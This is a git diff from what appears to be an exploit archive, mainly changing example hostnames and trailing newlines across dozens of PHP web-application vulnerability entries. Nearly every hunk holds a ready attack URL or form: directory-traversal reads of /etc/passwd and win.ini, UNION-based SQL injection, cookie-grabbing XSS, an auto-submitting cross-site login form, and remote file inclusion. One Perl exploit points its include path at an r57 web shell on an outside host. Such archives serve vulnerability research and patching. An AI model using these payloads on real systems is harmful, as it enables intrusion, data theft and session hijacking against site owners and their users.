http://www.example.com/[path]/core/helpers.include.php?path=[Ev!l-Sh3ll] -http://www.example.com/[path]/core/helpers.include.php?fullpath=[Ev!l-Sh3ll] \ No newline at end of file +http://www.example.com/[path]/core/helpers.include.php?fullpath=[Ev!l-Sh3ll] \ No newline at end of file diff --git a/platforms/php/webapps/3563.txt b/platforms/php/webapps/3563.txt index 537d487c0..2a22eb128 100755 --- a/platforms/php/webapps/3563.txt +++ b/platforms/php/webapps/3563.txt @@ -16,6 +16,6 @@ script download/homepage: http://www.ttcms.com/v4/ -------------------------------------------- Vulnerabilities: -http://server/ttCMS_path/lib/db/ez_sql.php?lib_path=[evil_code] +http://site.com/ttCMS_path/lib/db/ez_sql.php?lib_path=[evil_code] # milw0rm.com [2007-03-24] diff --git a/platforms/php/webapps/35630.txt b/platforms/php/webapps/35630.txt index 4b10d6551..27845604e 100755 --- a/platforms/php/webapps/35630.txt +++ b/platforms/php/webapps/35630.txt @@ -4,4 +4,4 @@ The 'com_phocadownload' component for Joomla! is prone to a local file-include v An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible. -http://www.example.com/index.php?option=com_phocadownload&controller=../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?option=com_phocadownload&controller=../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/35631.txt b/platforms/php/webapps/35631.txt index 8061addf0..7dff3a691 100755 --- a/platforms/php/webapps/35631.txt +++ b/platforms/php/webapps/35631.txt @@ -4,4 +4,4 @@ CRESUS is prone to an SQL-injection vulnerability because it fails to sufficient Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/$path/ang/recette_detail.php?id=1 {SQL Injection} \ No newline at end of file +http://www.example.com/$path/ang/recette_detail.php?id=1 {SQL Injection} \ No newline at end of file diff --git a/platforms/php/webapps/35632.txt b/platforms/php/webapps/35632.txt index 3ad1e63d4..f2e696624 100755 --- a/platforms/php/webapps/35632.txt +++ b/platforms/php/webapps/35632.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to view arbitrary local files within XOOPS 2.5.0 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/imagemanager.php?target=/../../../../../../../../boot.ini%00&op=upload \ No newline at end of file +http://www.example.com/[path]/imagemanager.php?target=/../../../../../../../../boot.ini%00&op=upload \ No newline at end of file diff --git a/platforms/php/webapps/35633.txt b/platforms/php/webapps/35633.txt index 533473825..66bb4aea7 100755 --- a/platforms/php/webapps/35633.txt +++ b/platforms/php/webapps/35633.txt @@ -5,4 +5,4 @@ Ultra Marketing Enterprises CMS and Cart is prone to multiple SQL-injection vuln A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. http://www.example.com/index.php?id=[Sql Injection] -http://www.example.com/product.php?id=[Sql Injection] \ No newline at end of file +http://www.example.com/product.php?id=[Sql Injection] \ No newline at end of file diff --git a/platforms/php/webapps/35634.txt b/platforms/php/webapps/35634.txt index ab8c537ea..0052c1bbd 100755 --- a/platforms/php/webapps/35634.txt +++ b/platforms/php/webapps/35634.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc WP-StarsRateBox 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/wp-content/plugins/wp-starsratebox/wp-starsratebox.php?p=1&j=SQL_CODE_HERE \ No newline at end of file +http://www.example.com/wp-content/plugins/wp-starsratebox/wp-starsratebox.php?p=1&j=SQL_CODE_HERE \ No newline at end of file diff --git a/platforms/php/webapps/35635.txt b/platforms/php/webapps/35635.txt index 415393885..0994ff90b 100755 --- a/platforms/php/webapps/35635.txt +++ b/platforms/php/webapps/35635.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Dalbum 1.43 is vulnerable; other versions may also be affected. -http://www.example.com/editini.php?album=/Sample%20album/&url=[xss] \ No newline at end of file +http://www.example.com/editini.php?album=/Sample%20album/&url=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35636.txt b/platforms/php/webapps/35636.txt index 9932e17c5..a08eb9510 100755 --- a/platforms/php/webapps/35636.txt +++ b/platforms/php/webapps/35636.txt @@ -4,4 +4,4 @@ ChatLakTurk PHP Botlu Video is prone to a cross-site scripting vulnerability bec An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/ara.php?ara=[xss] \ No newline at end of file +http://www.example.com/ara.php?ara=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35643.txt b/platforms/php/webapps/35643.txt index 3915463f8..babf7c603 100755 --- a/platforms/php/webapps/35643.txt +++ b/platforms/php/webapps/35643.txt @@ -11,4 +11,4 @@ http://www.example.com/index.php?site=newsletter&pass=1%22%3E%3Cimg%20src=1.png% http://www.example.com/index.php?site=messenger&action=touser&touser=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E http://www.example.com/admin/admincenter.php?site=users&action=addtoclan&id=1&page=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E http://www.example.com/admin/admincenter.php?site=squads&action=edit&squadID=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E -http://www.example.com/admin/admincenter.php?site=contact&action=edit&contactID=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E \ No newline at end of file +http://www.example.com/admin/admincenter.php?site=contact&action=edit&contactID=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E \ No newline at end of file diff --git a/platforms/php/webapps/35645.txt b/platforms/php/webapps/35645.txt index c530be251..0bc8a9eb8 100755 --- a/platforms/php/webapps/35645.txt +++ b/platforms/php/webapps/35645.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Automagick Tube Script 1.4.4 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?module=<script>alert(8888)</script> \ No newline at end of file +http://www.example.com/index.php?module=<script>alert(8888)</script> \ No newline at end of file diff --git a/platforms/php/webapps/35647.txt b/platforms/php/webapps/35647.txt index 7ce389b84..90aae918a 100755 --- a/platforms/php/webapps/35647.txt +++ b/platforms/php/webapps/35647.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities to obtain potentially sensitive in http://www.example.com/index.php?menu=../../../proc/self/environ -http://www.example.com/index1.php?menu=../../../etc/passwd \ No newline at end of file +http://www.example.com/index1.php?menu=../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/35648.txt b/platforms/php/webapps/35648.txt index 9dcb34fec..dbd2d615e 100755 --- a/platforms/php/webapps/35648.txt +++ b/platforms/php/webapps/35648.txt @@ -8,4 +8,4 @@ Zenphoto 1.4.0.3 is vulnerable; other versions may also be affected. http://www.example.com/themes/zenpage/slideshow.php?_zp_themeroot=%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E -http://www.example.com/themes/stopdesign/comment_form.php?_zp_themeroot=%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E \ No newline at end of file +http://www.example.com/themes/stopdesign/comment_form.php?_zp_themeroot=%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35649.txt b/platforms/php/webapps/35649.txt index 822a2dae7..be3ebc212 100755 --- a/platforms/php/webapps/35649.txt +++ b/platforms/php/webapps/35649.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow todoyu 2.0.8 is vulnerable; other versions may also be affected. -http://www.example.com/todoyu/lib/js/jscalendar/php/test.php?lang=%22%3E%3C/script%3E%3Cscript%3Ealert%280%29%3C/script%3E \ No newline at end of file +http://www.example.com/todoyu/lib/js/jscalendar/php/test.php?lang=%22%3E%3C/script%3E%3Cscript%3Ealert%280%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35651.txt b/platforms/php/webapps/35651.txt index 4402ea166..c448ee9fc 100755 --- a/platforms/php/webapps/35651.txt +++ b/platforms/php/webapps/35651.txt @@ -10,4 +10,4 @@ Dolibarr 3.0.0 is vulnerable; other versions may also be affected. http://www.example.com/dolibarr-3.0.0/htdocs/document.php?lang=%22%3E%3Cscript%3Ealert%280%29%3C/script%3E -http://www.example.com/dolibarr-3.0.0/htdocs/user/passwordforgotten.php?theme=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 \ No newline at end of file +http://www.example.com/dolibarr-3.0.0/htdocs/user/passwordforgotten.php?theme=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 \ No newline at end of file diff --git a/platforms/php/webapps/35653.txt b/platforms/php/webapps/35653.txt index 52721e038..4d2618199 100755 --- a/platforms/php/webapps/35653.txt +++ b/platforms/php/webapps/35653.txt @@ -11,4 +11,4 @@ Nuke Evolution Xtreme 2.0 is vulnerable; other versions may also be affected. http://www.example.com/[path]/modules.php?name=Surveys&op=results&pollID=3+and+1=2+union+select+1,version(),3,4,5-- http://www.example.com/[path]/modules.php?name=News&file=../../../../../../../../../../etc/passwd%00 -http://www.example.com/[path]/modules.php?name=Private_Messages&file=../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/[path]/modules.php?name=Private_Messages&file=../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/35655.txt b/platforms/php/webapps/35655.txt index c37899192..ce32d849f 100755 --- a/platforms/php/webapps/35655.txt +++ b/platforms/php/webapps/35655.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow TemaTres 1.3 is vulnerable; prior versions may also be affected. -http://www.example.com/tematres1.3/vocab/index.php?_search_expresions=[xss] \ No newline at end of file +http://www.example.com/tematres1.3/vocab/index.php?_search_expresions=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35657.php b/platforms/php/webapps/35657.php index dfe8fa103..89450f4c4 100755 --- a/platforms/php/webapps/35657.php +++ b/platforms/php/webapps/35657.php @@ -12,7 +12,7 @@ if(!$argv[1]) die(" Usage : php exploit.php [site] -Example : php exploit.php http://server/wp/ +Example : php exploit.php http://site.com/wp/ "); print_r(" diff --git a/platforms/php/webapps/35658.txt b/platforms/php/webapps/35658.txt index bc5681cfc..a90700b6c 100755 --- a/platforms/php/webapps/35658.txt +++ b/platforms/php/webapps/35658.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow html-edit CMS 3.1.9 is vulnerable; other versions may also be affected. -http://www.example.com/[Path]/addons/image_slider/index.php?html_output=[XSS] \ No newline at end of file +http://www.example.com/[Path]/addons/image_slider/index.php?html_output=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/35665.txt b/platforms/php/webapps/35665.txt index 3c8ccfb81..c90197889 100755 --- a/platforms/php/webapps/35665.txt +++ b/platforms/php/webapps/35665.txt @@ -4,4 +4,4 @@ PHP F1 Max's Photo Album is prone to a cross-site scripting vulnerability becaus An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/showimage.php?id=[XSS] \ No newline at end of file +http://www.example.com/showimage.php?id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/35666.txt b/platforms/php/webapps/35666.txt index 7837cb86a..cf932a331 100755 --- a/platforms/php/webapps/35666.txt +++ b/platforms/php/webapps/35666.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to compromise the application, access or m Football Website Manager 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/profile.php?fileId=[SQL Injection] \ No newline at end of file +http://www.example.com/profile.php?fileId=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/35667.txt b/platforms/php/webapps/35667.txt index 38c761cad..002131175 100755 --- a/platforms/php/webapps/35667.txt +++ b/platforms/php/webapps/35667.txt @@ -12,4 +12,4 @@ The following components are vulnerable: Other components may also be affected. http://www.example.com/[Path]/index.php?option=com_users&task=profile&user=11+AND+1=0 -http://www.example.com/[Path]/index.php?option=com_frontpage&Itemid=1&limit=4&limitstart=[SQL-Inj3cT-Here] \ No newline at end of file +http://www.example.com/[Path]/index.php?option=com_frontpage&Itemid=1&limit=4&limitstart=[SQL-Inj3cT-Here] \ No newline at end of file diff --git a/platforms/php/webapps/35668.txt b/platforms/php/webapps/35668.txt index 5be778363..f72f820d5 100755 --- a/platforms/php/webapps/35668.txt +++ b/platforms/php/webapps/35668.txt @@ -11,4 +11,4 @@ http://www.example.com:9999/index.php?userid=admin &password=admin &confirmPassword=admin &adminEmail=admin () admin -&monitorEmail=admin () admin \ No newline at end of file +&monitorEmail=admin () admin \ No newline at end of file diff --git a/platforms/php/webapps/3567.pl b/platforms/php/webapps/3567.pl index ee2e4e2bd..f5365a9d2 100755 --- a/platforms/php/webapps/3567.pl +++ b/platforms/php/webapps/3567.pl @@ -36,7 +36,7 @@ $mw->Label(-text => '')->pack(); $fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ; $fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ; -$url = 'http://www.server/[Mambo_path]/modules/mod_flatmenu.php?mosConfig_absolute_path='; +$url = 'http://www.site.com/[Mambo_path]/modules/mod_flatmenu.php?mosConfig_absolute_path='; $shell_path = 'http://nachrichtenmann.de/r57.txt?'; $cmd = 'ls -la'; diff --git a/platforms/php/webapps/35679.txt b/platforms/php/webapps/35679.txt index c6365c377..0be3ba313 100755 --- a/platforms/php/webapps/35679.txt +++ b/platforms/php/webapps/35679.txt @@ -1,4 +1,4 @@ -_____ _____ ______ + _____ _____ ______ | _ | | _ ||___ / | |/' |_ __| |_| | / / | /| \ \/ /\____ | / / diff --git a/platforms/php/webapps/3568.txt b/platforms/php/webapps/3568.txt index 2342de886..bd332939c 100755 --- a/platforms/php/webapps/3568.txt +++ b/platforms/php/webapps/3568.txt @@ -8,11 +8,11 @@ Bulan :Crackers_Child Zay.flk : <td><div align="center"><?php include($AD_BODY_TEMP);?></div></td> -Exploit : www.server/imageupload_path/login.php?AD_BODY_TEMP=Shell? +Exploit : www.site.com/imageupload_path/login.php?AD_BODY_TEMP=Shell? - : www.server/imageupload_path/frontpage.php?AD_BODY_TEMP=Shell? + : www.site.com/imageupload_path/frontpage.php?AD_BODY_TEMP=Shell? - :www.server/imageupload_path/forgot_pass.php?AD_BODY_TEMP=Shell ? + :www.site.com/imageupload_path/forgot_pass.php?AD_BODY_TEMP=Shell ? Not :[Olmek Var$a Kaderde Dert Ekleme Derdine ;) ] diff --git a/platforms/php/webapps/35680.txt b/platforms/php/webapps/35680.txt index cf3753ec6..90543f66c 100755 --- a/platforms/php/webapps/35680.txt +++ b/platforms/php/webapps/35680.txt @@ -10,4 +10,4 @@ http://www.example.com/[path]/mods/ckeditor/filemanager/connectors/php/connector http://www.example.com/[Path]/mods/ckeditor/filemanager/connectors/test.html http://www.example.com/[Path]/mods/ckeditor/filemanager/connectors/uploadtest.html http://www.example.com/[Path]/mods/ckeditor/filemanager/browser/default/browser.html -http://www.example.com/[Path]/mods/ckeditor/filemanager/browser/default/frmupload.html \ No newline at end of file +http://www.example.com/[Path]/mods/ckeditor/filemanager/browser/default/frmupload.html \ No newline at end of file diff --git a/platforms/php/webapps/35682.txt b/platforms/php/webapps/35682.txt index 6f4c1294c..0340573db 100755 --- a/platforms/php/webapps/35682.txt +++ b/platforms/php/webapps/35682.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Tine 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/tine/library/vcardphp/vbook.php?file=<script>alert(0)</script> \ No newline at end of file +http://www.example.com/tine/library/vcardphp/vbook.php?file=<script>alert(0)</script> \ No newline at end of file diff --git a/platforms/php/webapps/35684.txt b/platforms/php/webapps/35684.txt index 4d9268059..8f29fbed0 100755 --- a/platforms/php/webapps/35684.txt +++ b/platforms/php/webapps/35684.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow LDAP Account Manager 3.4.0 is vulnerable; other versions may also be affected. -http://www.example.com/ldap-account-manager-3.4.0/templates/login.php?selfserviceSaveOk=[XSS] \ No newline at end of file +http://www.example.com/ldap-account-manager-3.4.0/templates/login.php?selfserviceSaveOk=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/35697.txt b/platforms/php/webapps/35697.txt index 04f80b430..d536febf1 100755 --- a/platforms/php/webapps/35697.txt +++ b/platforms/php/webapps/35697.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Web Auction 0.3.6 is vulnerable; other versions may also be affected. -http://www.example.com/webauction-0.3.6/dataface/lib/jscalendar/test.php?lang=%22%3E%3C/script%3E%3Cscript%3Ealert(0)// \ No newline at end of file +http://www.example.com/webauction-0.3.6/dataface/lib/jscalendar/test.php?lang=%22%3E%3C/script%3E%3Cscript%3Ealert(0)// \ No newline at end of file diff --git a/platforms/php/webapps/35699.txt b/platforms/php/webapps/35699.txt index a2c8a6c09..b26819297 100755 --- a/platforms/php/webapps/35699.txt +++ b/platforms/php/webapps/35699.txt @@ -4,4 +4,4 @@ E2 Photo Gallery is prone to a cross-site scripting vulnerability because it fai An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/uploader/index.php/[xss] \ No newline at end of file +http://www.example.com/uploader/index.php/[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35704.txt b/platforms/php/webapps/35704.txt index 1d326076e..1416de13f 100755 --- a/platforms/php/webapps/35704.txt +++ b/platforms/php/webapps/35704.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow WP Ajax Calendar 1.0 is vulnerability; other versions may also be affected. -http://www.example.com/example.php?y=[xss] \ No newline at end of file +http://www.example.com/example.php?y=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35705.txt b/platforms/php/webapps/35705.txt index 8f9e4d7c2..7ae1f98e9 100755 --- a/platforms/php/webapps/35705.txt +++ b/platforms/php/webapps/35705.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow PHP Directory Listing script 3.1 is vulnerable; prior versions may also be affected. -http://www.example.com/index.php/[xss] \ No newline at end of file +http://www.example.com/index.php/[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35709.txt b/platforms/php/webapps/35709.txt index a859f8b13..70ca0f16c 100755 --- a/platforms/php/webapps/35709.txt +++ b/platforms/php/webapps/35709.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc e107 0.7.25 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/news.php?extend.9999999%0aAND%0aSUBSTRING(@@version,1,1)=5 \ No newline at end of file +http://www.example.com/[path]/news.php?extend.9999999%0aAND%0aSUBSTRING(@@version,1,1)=5 \ No newline at end of file diff --git a/platforms/php/webapps/35713.txt b/platforms/php/webapps/35713.txt index c4a463196..ea3e9630c 100755 --- a/platforms/php/webapps/35713.txt +++ b/platforms/php/webapps/35713.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to upload arbitrary code and run it in the co FestOS 2.3c is vulnerable; other versions may also be affected. -http://www.example.com/[path]/admin/includes/tiny_mce/plugins/tinybrowser/upload.php \ No newline at end of file +http://www.example.com/[path]/admin/includes/tiny_mce/plugins/tinybrowser/upload.php \ No newline at end of file diff --git a/platforms/php/webapps/35715.txt b/platforms/php/webapps/35715.txt index 95e8df7ce..4ec651444 100755 --- a/platforms/php/webapps/35715.txt +++ b/platforms/php/webapps/35715.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow encoder 0.4.10 is vulnerable; other versions may also be affected. -http://www.example.com/ecoder-0.4.10/edit.php?editor=&mode=%22%3E%3Cscript%3Ealert(0)%3C/script%3E&path=%22%3E%3Cscript%3Ealert(0)%3C/script%3E&file=%22%3E%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file +http://www.example.com/ecoder-0.4.10/edit.php?editor=&mode=%22%3E%3Cscript%3Ealert(0)%3C/script%3E&path=%22%3E%3Cscript%3Ealert(0)%3C/script%3E&file=%22%3E%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35716.html b/platforms/php/webapps/35716.html index 921017c63..5f509b185 100755 --- a/platforms/php/webapps/35716.html +++ b/platforms/php/webapps/35716.html @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Ampache 3.5.4 is vulnerable; other versions may also be affected. -<html> <body onload="document.forms[0].submit()"> <form method="POST" action="http://localhost/ampache-3.5.4/login.php"> <input type="hidden" name="username" value=""><script>alert(0)</script>" /> </form> </body> </html> \ No newline at end of file +<html> <body onload="document.forms[0].submit()"> <form method="POST" action="http://localhost/ampache-3.5.4/login.php"> <input type="hidden" name="username" value=""><script>alert(0)</script>" /> </form> </body> </html> \ No newline at end of file diff --git a/platforms/php/webapps/35717.txt b/platforms/php/webapps/35717.txt index a4c7d4629..f0ac59b4b 100755 --- a/platforms/php/webapps/35717.txt +++ b/platforms/php/webapps/35717.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to upload arbitrary files onto the webserve Exponent CMS 2.0.0 beta 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/exponent/content_selector.php?controller=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00&section=&action= \ No newline at end of file +http://www.example.com/exponent/content_selector.php?controller=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00&section=&action= \ No newline at end of file diff --git a/platforms/php/webapps/35718.txt b/platforms/php/webapps/35718.txt index 17b33ff46..35b72ce78 100755 --- a/platforms/php/webapps/35718.txt +++ b/platforms/php/webapps/35718.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Gelsheet 1.02 is vulnerable; other versions may also be affected. -http://www.example.com/fengoffice/public/assets/javascript/gelSheet/index.php?id=%3Cscript%3Ealert%280%29%3C/script%3E&wid=%3Cscript%3Ealert%280%29%3C/script%3E&book=%3Cscript%3Ealert%280%29%3C/script%3E \ No newline at end of file +http://www.example.com/fengoffice/public/assets/javascript/gelSheet/index.php?id=%3Cscript%3Ealert%280%29%3C/script%3E&wid=%3Cscript%3Ealert%280%29%3C/script%3E&book=%3Cscript%3Ealert%280%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35723.txt b/platforms/php/webapps/35723.txt index e097ad2ad..c12ff70f9 100755 --- a/platforms/php/webapps/35723.txt +++ b/platforms/php/webapps/35723.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce TCExam 11.1.029 is vulnerable; other versions may also be affected. -http://www.example.com/tcexam/admin/code/tce_xml_user_results.php?lang=&user_id=1&startdate=[SQL]&enddate=[SQL]&order_field=[SQL] \ No newline at end of file +http://www.example.com/tcexam/admin/code/tce_xml_user_results.php?lang=&user_id=1&startdate=[SQL]&enddate=[SQL]&order_field=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/35724.txt b/platforms/php/webapps/35724.txt index 9e199dc87..31790f4fd 100755 --- a/platforms/php/webapps/35724.txt +++ b/platforms/php/webapps/35724.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc EmbryoCore 1.03 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/index.php?page=[-!Blind SQLi Here!-] \ No newline at end of file +http://www.example.com/[path]/index.php?page=[-!Blind SQLi Here!-] \ No newline at end of file diff --git a/platforms/php/webapps/35727.txt b/platforms/php/webapps/35727.txt index 86715c602..68117fbdb 100755 --- a/platforms/php/webapps/35727.txt +++ b/platforms/php/webapps/35727.txt @@ -4,4 +4,4 @@ HOMEPIMA Design is prone to a local file-disclosure vulnerability because it fai Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. -http://www.example.com/setup/filedown.php?file=../../../../../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/setup/filedown.php?file=../../../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/35734.txt b/platforms/php/webapps/35734.txt index 071257b1c..20421a731 100755 --- a/platforms/php/webapps/35734.txt +++ b/platforms/php/webapps/35734.txt @@ -12,4 +12,4 @@ The following example request is available: <input name="nick" type="text" id="nick" value="'SQL+CODE+HERE" /> <input name="pwd" id="pwd" type="password" value="adminpwd" /> <input name="submit" type="submit" class="submit_login" value="Login" /> -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/php/webapps/35745.txt b/platforms/php/webapps/35745.txt index 441645f3e..79614380c 100755 --- a/platforms/php/webapps/35745.txt +++ b/platforms/php/webapps/35745.txt @@ -5,4 +5,4 @@ The 'com_cbcontact' component for Joomla! is prone to an SQL-injection vulnerabi Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/index.php?option=com_cbcontact&task=vcard&contact_id=-11[SQLi] -http://www.example.com/index.php?option=com_cbcontact&task=view&contact_id=-11[SQLi] \ No newline at end of file +http://www.example.com/index.php?option=com_cbcontact&task=view&contact_id=-11[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/35752.txt b/platforms/php/webapps/35752.txt index bc466af91..f34203137 100755 --- a/platforms/php/webapps/35752.txt +++ b/platforms/php/webapps/35752.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a 'com_docman' 1.3 is vulnerable. http://www.example.com/[path]/index.php?option=com_docman&task=cat_view&gid=3&Itemid=7&limit=-11[SQLi] -http://www.example.com/[path]/index.php?option=com_docman&task=cat_view&gid=3&Itemid=7&limit=15&limitstart=-11[SQLi] \ No newline at end of file +http://www.example.com/[path]/index.php?option=com_docman&task=cat_view&gid=3&Itemid=7&limit=15&limitstart=-11[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/35754.txt b/platforms/php/webapps/35754.txt index 5fcbea1d3..b36de1815 100755 --- a/platforms/php/webapps/35754.txt +++ b/platforms/php/webapps/35754.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow allocPSA 1.7.4 is vulnerable; other versions may also be affected. -http://www.example.com/allocPSA-1.7.4/login/login.php?sessID=%3Cscript%3Ealert%280%29%3C/script%3E \ No newline at end of file +http://www.example.com/allocPSA-1.7.4/login/login.php?sessID=%3Cscript%3Ealert%280%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35755.txt b/platforms/php/webapps/35755.txt index f867e59c5..77c5f6c61 100755 --- a/platforms/php/webapps/35755.txt +++ b/platforms/php/webapps/35755.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow DocMGR 1.1.2 is vulnerable; other versions may also be affected. -http://www.example.com/docmgr/history.php?f=0%22%29;}alert%280%29;{// \ No newline at end of file +http://www.example.com/docmgr/history.php?f=0%22%29;}alert%280%29;{// \ No newline at end of file diff --git a/platforms/php/webapps/35757.txt b/platforms/php/webapps/35757.txt index 0c59b4d80..4dcd30d1d 100755 --- a/platforms/php/webapps/35757.txt +++ b/platforms/php/webapps/35757.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor eFront 3.6.9 build 10653 is vulnerable; other versions may also be affected. -http://www.example.com/efront/www/js/scripts.php?load=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 \ No newline at end of file +http://www.example.com/efront/www/js/scripts.php?load=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 \ No newline at end of file diff --git a/platforms/php/webapps/35782.txt b/platforms/php/webapps/35782.txt index 768601990..fcb03e8ce 100755 --- a/platforms/php/webapps/35782.txt +++ b/platforms/php/webapps/35782.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Room Juice 0.3.3 is vulnerable; other versions may also be affected. -http://www.example.com/roomjuice-0.3.3/display.php?filename=%3Cscript%3Ealert%280%29%3C/script%3E \ No newline at end of file +http://www.example.com/roomjuice-0.3.3/display.php?filename=%3Cscript%3Ealert%280%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35791.txt b/platforms/php/webapps/35791.txt index 393573b36..605e9115a 100755 --- a/platforms/php/webapps/35791.txt +++ b/platforms/php/webapps/35791.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Ajax Chat 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/ajax-chat/ajax-chat.php?chat_path=%27%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/ajax-chat/ajax-chat.php?chat_path=%27%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35796.txt b/platforms/php/webapps/35796.txt index 97ba1d60f..6f9ac6161 100755 --- a/platforms/php/webapps/35796.txt +++ b/platforms/php/webapps/35796.txt @@ -7,4 +7,4 @@ An attacker can exploit these issues to upload arbitrary files onto the webserve MidiCMS Website Builder 2011 is vulnerable; other versions may also be affected. http://www.example.com/admin/jscripts/tiny_mce/plugins/ezfilemanager/index.php -http://www.example.com/?html=../../../../../../../../../../boot.ini%00 \ No newline at end of file +http://www.example.com/?html=../../../../../../../../../../boot.ini%00 \ No newline at end of file diff --git a/platforms/php/webapps/35797.txt 